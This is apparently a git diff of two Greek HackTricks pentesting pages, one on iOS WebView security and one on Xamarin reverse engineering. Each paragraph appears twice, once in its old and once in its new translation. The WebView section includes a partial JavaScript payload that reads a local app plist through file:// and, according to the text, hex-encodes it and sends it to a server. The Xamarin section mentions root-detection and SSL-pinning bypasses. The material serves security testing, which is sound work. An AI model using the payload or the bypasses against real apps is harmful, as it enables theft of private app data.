Ο χειρισμός περιεχομένου στα WebViews είναι ένα κρίσιμο στοιχείο, ειδικά όταν ασχολούμαστε με διάφορα πρωτόκολλα όπως `http(s)://`, `file://` και `tel://`. Αυτά τα πρωτόκολλα επιτρέπουν τη φόρτωση τόσο απομακρυσμένου όσο και τοπικού περιεχομένου μέσα στις εφαρμογές. Επισημαίνεται ότι κατά τη φόρτωση τοπικού περιεχομένου, πρέπει να ληφθούν προφυλάξεις για να αποτραπεί η επιρροή των χρηστών στο όνομα ή τη διαδρομή του αρχείου και από την επεξεργασία του περιεχομένου ίδιου.
Η διαχείριση περιεχομένου σε WebViews είναι μια κρίσιμη πτυχή, ειδικά όταν ασχολούμαστε με διάφορα πρωτόκολλα όπως `http(s)://`, `file://`, και `tel://`. Αυτά τα πρωτόκολλα επιτρέπουν τη φόρτωση τόσο απομακρυσμένου όσο και τοπικού περιεχομένου εντός εφαρμογών. Τονίζεται ότι κατά τη φόρτωση τοπικού περιεχομένου, πρέπει να ληφθούν προφυλάξεις για να αποτραπεί η επιρροή των χρηστών στο όνομα ή τη διαδρομή του αρχείου και στην επεξεργασία του περιεχομένου αυτού καθαυτού.
Οι **WebViews** προσφέρουν διάφορες μεθόδους για τη φόρτωση περιεχομένου. Για το **UIWebView**, που πλέον έχει αποσυρθεί, χρησιμοποιούνται μεθόδοι όπως `loadHTMLString:baseURL:` και `loadData:MIMEType:textEncodingName:baseURL:`. Από την άλλη πλευρά, η **WKWebView** χρησιμοποιεί τις μεθόδους `loadHTMLString:baseURL:`, `loadData:MIMEType:textEncodingName:baseURL:` και `loadRequest:` για περιεχόμενο ιστού. Συνήθως χρησιμοποιούνται μεθόδοι όπως `pathForResource:ofType:`, `URLForResource:withExtension:` και `init(contentsOf:encoding:)` για τη φόρτωση τοπικών αρχείων. Η μέθοδος `loadFileURL:allowingReadAccessToURL:` είναι ιδιαίτερα σημαντική για τη δυνατότητά της να φορτώσει ένα συγκεκριμένο URL ή κατάλογο στο WebView, ενδεχομένως αποκαλύπτοντας ευαίσθητα δεδομένα εάν καθοριστεί ένας κατάλογος.
**WebViews** προσφέρουν διάφορες μεθόδους για τη φόρτωση περιεχομένου. Για το **UIWebView**, που έχει πλέον καταργηθεί, χρησιμοποιούνται μέθοδοι όπως `loadHTMLString:baseURL:` και `loadData:MIMEType:textEncodingName:baseURL:`. Το **WKWebView**, από την άλλη πλευρά, χρησιμοποιεί `loadHTMLString:baseURL:`, `loadData:MIMEType:textEncodingName:baseURL:`, και `loadRequest:` για το διαδικτυακό περιεχόμενο. Μέθοδοι όπως `pathForResource:ofType:`, `URLForResource:withExtension:`, και `init(contentsOf:encoding:)` χρησιμοποιούνται συνήθως για τη φόρτωση τοπικών αρχείων. Η μέθοδος `loadFileURL:allowingReadAccessToURL:` είναι ιδιαίτερα αξιοσημείωτη για την ικανότητά της να φορτώνει μια συγκεκριμένη διεύθυνση URL ή κατάλογο στο WebView, ενδεχομένως εκθέτοντας ευαίσθητα δεδομένα αν καθοριστεί ένας κατάλογος.
Για να βρεθούν αυτές οι μέθοδοι στον πηγαίο κώδικα ή το μεταγλωττισμένο δυαδικό αρχείο, μπορούν να χρησιμοποιηθούν εντολές όπως οι παρακάτω:
Για να βρείτε αυτές τις μεθόδους στον πηγαίο κώδικα ή στο μεταγλωττισμένο δυαδικό, μπορούν να χρησιμοποιηθούν εντολές όπως οι παρακάτω:
```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
```
Όσον αφορά την **πρόσβαση σε αρχεία**, η UIWebView το επιτρέπει καθολικά, ενώ η WKWebView εισάγει τις ρυθμίσεις `allowFileAccessFromFileURLs` και `allowUniversalAccessFromFileURLs` για τη διαχείριση της πρόσβασης από διευθύνσεις URL αρχείων, με τις δύο να είναι ψευδείς από προεπιλογή.
Σχετικά με **την πρόσβαση σε αρχεία**, το UIWebView την επιτρέπει καθολικά, ενώ το WKWebView εισάγει τις ρυθμίσεις `allowFileAccessFromFileURLs` και `allowUniversalAccessFromFileURLs` για τη διαχείριση της πρόσβασης από διευθύνσεις αρχείων, με και τις δύο να είναι ψευδείς από προεπιλογή.
Παρέχεται ένα παράδειγμα σεναρίου Frida για τον έλεγχο των ρυθμίσεων ασφαλείας της **WKWebView**:
Παρέχεται ένα παράδειγμα σεναρίου Frida για την επιθεώρηση των ρυθμίσεων **WKWebView** για τις ρυθμίσεις ασφαλείας:
```bash
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
@ -162,7 +163,7 @@ console.log('done for WKWebView!');
}
});
```
Τέλος, ένα παράδειγμα ενός JavaScript payload που στοχεύει στην εξαγωγή τοπικών αρχείων δείχνει το δυνητικό κίνδυνο ασφάλειας που συνδέεται με μη σωστά διαμορφωμένα WebViews. Αυτό το payload κωδικοποιεί το περιεχόμενο των αρχείων σε δεκαεξαδική μορφή πριν τα μεταδώσει σε έναν διακομιστή, υπογραμμίζοντας τη σημασία αυστηρών μέτρων ασφαλείας στις υλοποιήσεις των WebView.
Τέλος, ένα παράδειγμα ενός JavaScript payload που στοχεύει στην εξαγωγή τοπικών αρχείων δείχνει τον πιθανό κίνδυνο ασφαλείας που σχετίζεται με κακώς διαμορφωμένα WebViews. Αυτό το payload κωδικοποιεί το περιεχόμενο των αρχείων σε μορφή hex πριν τα μεταδώσει σε έναν διακομιστή, υπογραμμίζοντας τη σημασία αυστηρών μέτρων ασφαλείας στις υλοποιήσεις WebView.
```javascript
String.prototype.hexEncode = function(){
var hex, i;
@ -185,24 +186,24 @@ xhr2.send(null);
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
xhr.send(null);
```
## Εκθέτοντας Ενσωματωμένες Μεθόδους μέσω των WebViews
## Native Methods Exposed Through WebViews
## Κατανόηση των Ενσωματωμένων Διεπαφών WebView στο iOS
## Understanding WebView Native Interfaces in iOS
Από το iOS 7 και μετά, η Apple παρείχε APIs για **επικοινωνία μεταξύ JavaScript σε ένα WebView και ενσωματωμένων** Swift ή Objective-C αντικειμένων. Αυτή η ενσωμάτωση διευκολύνεται κυρίως μέσω δύο μεθόδων:
Από το iOS 7 και μετά, η Apple παρέχει APIs για **επικοινωνία μεταξύ JavaScript σε ένα WebView και εγγενών** αντικειμένων Swift ή Objective-C. Αυτή η ενσωμάτωση διευκολύνεται κυρίως μέσω δύο μεθόδων:
- **JSContext**: Ένα JavaScript συνάρτηση δημιουργείται αυτόματα όταν ένα Swift ή Objective-C block συνδέεται με ένα αναγνωριστικό εντός ενός `JSContext`. Αυτό επιτρέπει την άριστη ενσωμάτωση και επικοινωνία μεταξύ JavaScript και ενσωματωμένου κώδικα.
- **JSExport Protocol**: Με την κληρονομία του πρωτοκόλλου `JSExport`, ενσωματωμένες ιδιότητες, μέθοδοι παραδείγματος και μέθοδοι κλάσης μπορούν να εκτεθούν στο JavaScript. Αυτό σημαίνει ότι οποιεσδήποτε αλλαγές γίνονται στο περιβάλλον JavaScript αντανακλώνται στο ενσωματωμένο περιβάλλον και αντίστροφα. Ωστόσο, είναι απαραίτητο να διασφαλίζεται ότι ευαίσθητα δεδομένα δεν εκτίθενται κατά λάθος μέσω αυτής της μεθόδου.
- **JSContext**: Μια JavaScript συνάρτηση δημιουργείται αυτόματα όταν ένα Swift ή Objective-C μπλοκ συνδέεται με έναν αναγνωριστή μέσα σε ένα `JSContext`. Αυτό επιτρέπει την απρόσκοπτη ενσωμάτωση και επικοινωνία μεταξύ JavaScript και εγγενών κωδίκων.
- **JSExport Protocol**: Με την κληρονομιά του πρωτοκόλλου `JSExport`, οι εγγενείς ιδιότητες, οι μεθόδοι στιγμιότυπων και οι μέθοδοι κλάσης μπορούν να εκτεθούν στη JavaScript. Αυτό σημαίνει ότι οποιεσδήποτε αλλαγές γίνονται στο περιβάλλον JavaScript αντικατοπτρίζονται στο εγγενές περιβάλλον και το αντίστροφο. Ωστόσο, είναι σημαντικό να διασφαλιστεί ότι ευαίσθητα δεδομένα δεν εκτίθενται ακούσια μέσω αυτής της μεθόδου.
### Πρόσβαση στο `JSContext` στο Objective-C
### Accessing `JSContext` in Objective-C
Στο Objective-C, το `JSContext` για ένα `UIWebView` μπορεί να ανακτηθεί με την παρακάτω γραμμή κώδικα:
Στην Objective-C, το `JSContext` για ένα `UIWebView` μπορεί να ανακτηθεί με την παρακάτω γραμμή κώδικα:
```objc
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
```
### Επικοινωνία με το `WKWebView`
### Επικοινωνία με `WKWebView`
Για το `WKWebView`, η άμεση πρόσβαση στο `JSContext` δεν είναι διαθέσιμη. Αντ' αυτού, χρησιμοποιείται η μετάδοση μηνυμάτων μέσω της συνάρτησης `postMessage`, επιτρέποντας την επικοινωνία ανάμεσα στο JavaScript και την native εφαρμογή. Οι χειριστές για αυτά τα μηνύματα ορίζονται ως εξής, επιτρέποντας στο JavaScript να αλληλεπιδρά με την native εφαρμογή με ασφάλεια:
Για το `WKWebView`, η άμεση πρόσβαση στο `JSContext` δεν είναι διαθέσιμη. Αντίθετα, χρησιμοποιείται η αποστολή μηνυμάτων μέσω της συνάρτησης `postMessage`, επιτρέποντας την επικοινωνία JavaScript με το native. Οι χειριστές για αυτά τα μηνύματα ρυθμίζονται ως εξής, επιτρέποντας στην JavaScript να αλληλεπιδρά με την native εφαρμογή με ασφάλεια:
```swift
func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
@ -215,9 +216,9 @@ userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridg
}
}
```
### Αλληλεπίδραση και Δοκιμή
### Interaction and Testing
Ο JavaScript μπορεί να αλληλεπιδράσει με τον φυσικό επίπεδο με τον καθορισμό ενός χειριστή μηνυμάτων σεναρίου. Αυτό επιτρέπει λειτουργίες όπως η κλήση φυσικών συναρτήσεων από μια ιστοσελίδα:
Η JavaScript μπορεί να αλληλεπιδράσει με το εγγενές επίπεδο ορίζοντας έναν χειριστή μηνυμάτων σεναρίου. Αυτό επιτρέπει λειτουργίες όπως η κλήση εγγενών συναρτήσεων από μια ιστοσελίδα:
```javascript
function invokeNativeOperation() {
value1 = document.getElementById("value1").value
@ -228,7 +229,7 @@ window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", v
// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
```
Για να καταγράψετε και να παρεμβάλετε το αποτέλεσμα μιας κλήσης μιας φυσικής συνάρτησης, μπορείτε να αντικαταστήσετε τη συνάρτηση επανάκλησης μέσα στο HTML:
Για να καταγράψει και να χειριστεί το αποτέλεσμα μιας κλήσης εγγενούς συνάρτησης, μπορεί κανείς να παρακάμψει τη συνάρτηση callback μέσα στο HTML:
```html
<html>
<script>
@ -239,7 +240,7 @@ alert(result);
</script>
</html>
```
Η πλευρά του συστήματος αντιμετωπίζει την κλήση JavaScript όπως φαίνεται στην κλάση `JavaScriptBridgeMessageHandler`, όπου το αποτέλεσμα λειτουργιών όπως η πολλαπλασιασμός αριθμών επεξεργάζεται και αποστέλλεται πίσω στο JavaScript για εμφάνιση ή περαιτέρω επεξεργασία:
Η εγγενής πλευρά χειρίζεται την κλήση JavaScript όπως φαίνεται στην κλάση `JavaScriptBridgeMessageHandler`, όπου το αποτέλεσμα των λειτουργιών όπως ο πολλαπλασιασμός αριθμών επεξεργάζεται και αποστέλλεται πίσω στο JavaScript για εμφάνιση ή περαιτέρω επεξεργασία:
```swift
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
@ -252,40 +253,40 @@ let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}
```
## Αποσφαλμάτωση iOS WebViews
## Debugging iOS WebViews
(Οδηγός βασισμένος στον οδηγό από [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews))
(Tutorial based on the one from [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews))
Για να αποσφαλματώσετε αποτελεσματικά περιεχόμενο ιστού μέσα σε iOS webviews, απαιτείται μια συγκεκριμένη ρύθμιση που περιλαμβάνει τα εργαλεία προγραμματιστή του Safari, καθώς τα μηνύματα που στέλνονται στο `console.log()` δεν εμφανίζονται στα αρχεία καταγραφής του Xcode. Εδώ υπάρχει ένας απλοποιημένος οδηγός, με έμφαση στα βασικά βήματα και τις απαιτήσεις:
Για να αποσφαλματώσετε αποτελεσματικά το περιεχόμενο ιστού μέσα σε iOS webviews, απαιτείται μια συγκεκριμένη ρύθμιση που περιλαμβάνει τα εργαλεία προγραμματιστών του Safari, λόγω του γεγονότος ότι τα μηνύματα που αποστέλλονται στο `console.log()` δεν εμφανίζονται στα αρχεία καταγραφής του Xcode. Ακολουθεί ένας απλοποιημένος οδηγός, που τονίζει τα βασικά βήματα και τις απαιτήσεις:
- **Προετοιμασία στη συσκευή iOS**: Το Safari Web Inspector πρέπει να είναι ενεργοποιημένο στη συσκευή iOS σας. Αυτό γίνεται πηγαίνοντας σε **Ρυθμίσεις > Safari > Προηγμένες**, και ενεργοποιώντας το _Web Inspector_.
- **Προετοιμασία στη συσκευή iOS**: Ο Web Inspector του Safari πρέπει να ενεργοποιηθεί στη συσκευή iOS σας. Αυτό γίνεται πηγαίνοντας στις **Ρυθμίσεις > Safari > Προηγμένα**, και ενεργοποιώντας τον _Web Inspector_.
- **Προετοιμασία στη συσκευή macOS**: Στην ανάπτυξη μηχανή του macOS σας, πρέπει να ενεργοποιήσετε τα εργαλεία προγραμματιστή μέσα από το Safari. Ξεκινήστε το Safari, αποκτήστε πρόσβαση στο **Safari > Προτιμήσεις > Προηγμένες**, και επιλέξτε την επιλογή _Εμφάνιση μενού Ανάπτυξης_.
- **Προετοιμασία στη συσκευή macOS**: Στη μηχανή ανάπτυξης macOS σας, πρέπει να ενεργοποιήσετε τα εργαλεία προγραμματιστών μέσα στο Safari. Εκκινήστε το Safari, αποκτήστε πρόσβαση στις **Ρυθμίσεις Safari > Προτιμήσεις > Προηγμένα**, και επιλέξτε την επιλογή για _Εμφάνιση μενού Ανάπτυξης_.
- **Σύνδεση και αποσφαλμάτωση**: Αφού συνδέσετε τη συσκευή iOS σας στον υπολογιστή macOS σας και ξεκινήσετε την εφαρμογή σας, χρησιμοποιήστε το Safari στη συσκευή macOS σας για να επιλέξετε το webview που θέλετε να αποσφαλματώσετε. Πλοηγηθείτε στο _Ανάπτυξη_ στη γραμμή μενού του Safari, παραμείνετε πάνω από το όνομα της συσκευής iOS σας για να δείτε μια λίστα με παραδείγματα webview, και επιλέξτε το παράδειγμα που θέλετε να επιθεωρήσετε. Θα ανοίξει ένα νέο παράθυρο Safari Web Inspector για αυτόν τον σκοπό.
- **Σύνδεση και αποσφαλμάτωση**: Αφού συνδέσετε τη συσκευή iOS σας με τον υπολογιστή macOS και εκκινήσετε την εφαρμογή σας, χρησιμοποιήστε το Safari στη συσκευή macOS σας για να επιλέξετε το webview που θέλετε να αποσφαλματώσετε. Μεταβείτε στο _Ανάπτυξη_ στη γραμμή μενού του Safari, περάστε το ποντίκι πάνω από το όνομα της συσκευής iOS σας για να δείτε μια λίστα με τις περιπτώσεις webview, και επιλέξτε την περίπτωση που θέλετε να επιθεωρήσετε. Ένα νέο παράθυρο Web Inspector του Safari θα ανοίξει για αυτόν τον σκοπό.
Ωστόσο, να είστε προσεκτικοί με τους περιορισμούς:
- Η αποσφαλμάτωση με αυτόν τον τρόπο απαιτεί μια συσκευή macOS, καθώς εξαρτάται από το Safari.
- Μόνο τα webviews σε εφαρμογές που φορτώνονται στη συσκευή σας μέσω του Xcode είναι κατάλληλα για αποσφαλμάτωση. Τα webviews σε εφαρμογές που εγκαθίστανται μέσω του App Store ή του Apple Configurator δεν μπορούν να αποσφαλματωθούν με αυτόν τον τρόπο.
- Η αποσφαλμάτωση με αυτή τη μέθοδο απαιτεί μια συσκευή macOS, καθώς βασίζεται στο Safari.
- Μόνο τα webviews σε εφαρμογές που έχουν φορτωθεί στη συσκευή σας μέσω του Xcode είναι επιλέξιμα για αποσφαλμάτωση. Τα webviews σε εφαρμογές που έχουν εγκατασταθεί μέσω του App Store ή του Apple Configurator δεν μπορούν να αποσφαλματωθούν με αυτόν τον τρόπο.
## Αναφορές
## References
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6)
* [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
* [https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Συμμετάσχετε** 💬 στην [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,48 +1,49 @@
# Xamarin Apps
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Αυτό είναι ένα σύνοψη του άρθρου του ιστολογίου [https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers](https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers)
This is a summary of the blog post [https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers](https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers)
## **Βασικές Πληροφορίες**
## **Basic Information**
Το Xamarin είναι μια **ανοικτού κώδικα πλατφόρμα** σχεδιασμένη για προγραμματιστές για να δημιουργούν εφαρμογές για iOS, Android και Windows χρησιμοποιώντας τα πλαίσια .NET και C#. Αυτή η πλατφόρμα προσφέρει πρόσβαση σε πολλά εργαλεία και επεκτάσεις για τη δημιουργία σύγχρονων εφαρμογών με αποδοτικότητα.
Το Xamarin είναι μια **ανοιχτού κώδικα πλατφόρμα** σχεδιασμένη για προγραμματιστές ώστε να **δημιουργούν εφαρμογές για iOS, Android και Windows** χρησιμοποιώντας τα πλαίσια .NET και C#. Αυτή η πλατφόρμα προσφέρει πρόσβαση σε πολυάριθμα εργαλεία και επεκτάσεις για τη δημιουργία σύγχρονων εφαρμογών με αποδοτικότητα.
### Αρχιτεκτονική του Xamarin
### Xamarin's Architecture
- Για το **Android**, το Xamarin ενσωματώνεται με τα ονόματα χώρων ονομάτων Android και Java μέσω των δεσμεύσεων .NET, λειτουργώντας μέσα στο περιβάλλον εκτέλεσης Mono δίπλα στο Android Runtime (ART). Οι Managed Callable Wrappers (MCW) και οι Android Callable Wrappers (ACW) διευκολύνουν την επικοινωνία μεταξύ του Mono και του ART, τα οποία και τα δύο βασίζονται στον πυρήνα του Linux.
- Για το **iOS**, οι εφαρμογές λειτουργούν υπό τον χρόνο εκτέλεσης Mono, χρησιμοποιώντας πλήρη μεταγλώττιση Ahead of Time (AOT) για τη μετατροπή του κώδικα C# .NET σε γλώσσα συναρμολόγησης ARM. Αυτή η διαδικασία λειτουργεί δίπλα στον χρόνο εκτέλεσης Objective-C σε έναν πυρήνα παρόμοιο με UNIX.
- Για **Android**, το Xamarin ενσωματώνεται με τα namespaces Android και Java μέσω των .NET bindings, λειτουργώντας μέσα στο περιβάλλον εκτέλεσης Mono μαζί με το Android Runtime (ART). Οι Managed Callable Wrappers (MCW) και οι Android Callable Wrappers (ACW) διευκολύνουν την επικοινωνία μεταξύ Mono και ART, και οι δύο είναι χτισμένες πάνω στον πυρήνα Linux.
- Για **iOS**, οι εφαρμογές εκτελούνται υπό το runtime Mono, χρησιμοποιώντας πλήρη Ahead of Time (AOT) μεταγλώττιση για να μετατρέψουν τον κώδικα C# .NET σε γλώσσα συναρμολόγησης ARM. Αυτή η διαδικασία εκτελείται παράλληλα με το Objective-C Runtime σε έναν πυρήνα παρόμοιο με το UNIX.
### .NET Runtime και Mono Framework
### .NET Runtime and Mono Framework
Το **πλαίσιο .NET** περιλαμβάνει συλλογές, κλάσεις και ονόματα χώρων για την ανάπτυξη εφαρμογών, με τον .NET Runtime να διαχειρίζεται την εκτέλεση του κώδικα. Προσφέρει ανεξαρτησία πλατφόρμας και συμβατότητα προς τα πίσω. Το **Mono Framework** είναι μια έκδοση του πλαισίου .NET ανοικτού κώδικα, που ξεκίνησε το 2005 για να επεκτείνει το .NET στο Linux, τώρα υποστηρίζεται από τη Microsoft και διευθύνεται από το Xamarin.
Το **.NET framework** περιλαμβάνει assemblies, κλάσεις και namespaces για την ανάπτυξη εφαρμογών, με το .NET Runtime να διαχειρίζεται την εκτέλεση του κώδικα. Προσφέρει ανεξαρτησία από την πλατφόρμα και οπισθοδρομική συμβατότητα. Το **Mono Framework** είναι μια ανοιχτού κώδικα έκδοση του .NET framework, που ξεκίνησε το 2005 για να επεκτείνει το .NET στο Linux, τώρα υποστηριζόμενο από τη Microsoft και καθοδηγούμενο από το Xamarin.
### Ανάπτυξη Ανάπτυξης Εφαρμογών Xamarin
### Reverse Engineering Xamarin Apps
#### Αποσυμπίεση των Συναθροίσεων Xamarin
#### Decompilation of Xamarin Assemblies
Η αποσυμπίεση μετατρέπει το μεταγλωττισμένο κώδικα πίσω σε πηγαίο κώδικα. Στα Windows, το παράθυρο Ενότητες στο Visual Studio μπορεί να αναγνωρίσει τις ενότητες για αποσυμπίεση, επιτρέποντας την άμεση πρόσβαση σε κώδικα τρίτων και εξαγωγή πηγαίου κώδικα για ανάλυση.
Η αποσυμπίεση μετατρέπει τον μεταγλωττισμένο κώδικα πίσω σε πηγαίο κώδικα. Στα Windows, το παράθυρο Modules στο Visual Studio μπορεί να εντοπίσει modules για αποσυμπίεση, επιτρέποντας άμεση πρόσβαση στον κώδικα τρίτων και εξαγωγή πηγαίου κώδικα για ανάλυση.
#### Μεταγλώττιση JIT έναντι Μεταγλώττισης AOT
#### JIT vs AOT Compilation
- Το **Android** υποστηρίζει τη μεταγλώττιση Just-In-Time (JIT) και Ahead-Of-Time (AOT), με έναν υβριδικό τρόπο AOT για βέλτιστη ταχύτητα εκτέλεσης. Η πλήρης AOT είναι αποκλειστική για τις επιχειρηματικές άδειες.
- Το **iOS** χρησιμοποιεί αποκλειστικά τη μεταγλώττιση AOT λόγω των περιορισμών της Apple στη δυναμική εκτέλεση κώδικα.
- **Android** υποστηρίζει Just-In-Time (JIT) και Ahead-Of-Time (AOT) μεταγλώττιση, με μια υβριδική AOT λειτουργία για βέλτιστη ταχύτητα εκτέλεσης. Η πλήρης AOT είναι αποκλειστική για άδειες Enterprise.
- **iOS** χρησιμοποιεί αποκλειστικά AOT μεταγλώττιση λόγω των περιορισμών της Apple σχετικά με την εκτέλεση δυναμικού κώδικα.
### Εξαγωγή αρχείων dll από το APK/IPA
### Extracting dll Files from APK/IPA
Για να έχετε πρόσβαση στις συναθροίσεις σε ένα APK/IPA, αποσυμπιέστε το αρχείο και εξερευνήστε τον κατάλογο των συναθροίσεων. Για το Android, εργαλεία όπως το [XamAsmUnZ](https://github.com/cihansol/XamAsmUnZ) και το [xamarin-decompress](https://github.com/NickstaDB/xamarin-decompress) μπορούν να αποσυμπιέσουν τα αρχεία dll.
Για να αποκτήσετε πρόσβαση στα assemblies σε ένα APK/IPA, αποσυμπιέστε το αρχείο και εξερευνήστε τον φάκελο assemblies. Για το Android, εργαλεία όπως το [XamAsmUnZ](https://github.com/cihansol/XamAsmUnZ) και το [xamarin-decompress](https://github.com/NickstaDB/xamarin-decompress) μπορούν να αποσυμπιέσουν τα αρχεία dll.
```bash
python3 xamarin-decompress.py -o /path/to/decompressed/apk
```
@ -50,13 +51,13 @@ python3 xamarin-decompress.py -o /path/to/decompressed/apk
```bash
pyxamstore unpack -d /path/to/decompressed/apk/assemblies/
```
Τα αρχεία dll του iOS είναι εύκολα προσβάσιμα για αποσυμπίληση, αποκαλύπτοντας σημαντικά μέρη του κώδικα της εφαρμογής, ο οποίος συχνά μοιράζεται ένα κοινό βάση σε διάφορες πλατφόρμες.
iOS dll αρχεία είναι άμεσα προσβάσιμα για αποσυμπίεση, αποκαλύπτοντας σημαντικά τμήματα του κώδικα της εφαρμογής, ο οποίος συχνά μοιράζεται μια κοινή βάση σε διάφορες πλατφόρμες.
### Δυναμική Ανάλυση
Η δυναμική ανάλυση περιλαμβάνει τον έλεγχο για SSL pinning και τη χρήση εργαλείων όπως το [Fridax](https://github.com/NorthwaveSecurity/fridax) για τροποποιήσεις κατά την εκτέλεση του δυαδικού αρχείου .NET σε εφαρμογές Xamarin. Υπάρχουν διαθέσιμα scripts του Frida για την παράκαμψη του εντοπισμού root ή του SSL pinning, βελτιώνοντας τις δυνατότητες ανάλυσης.
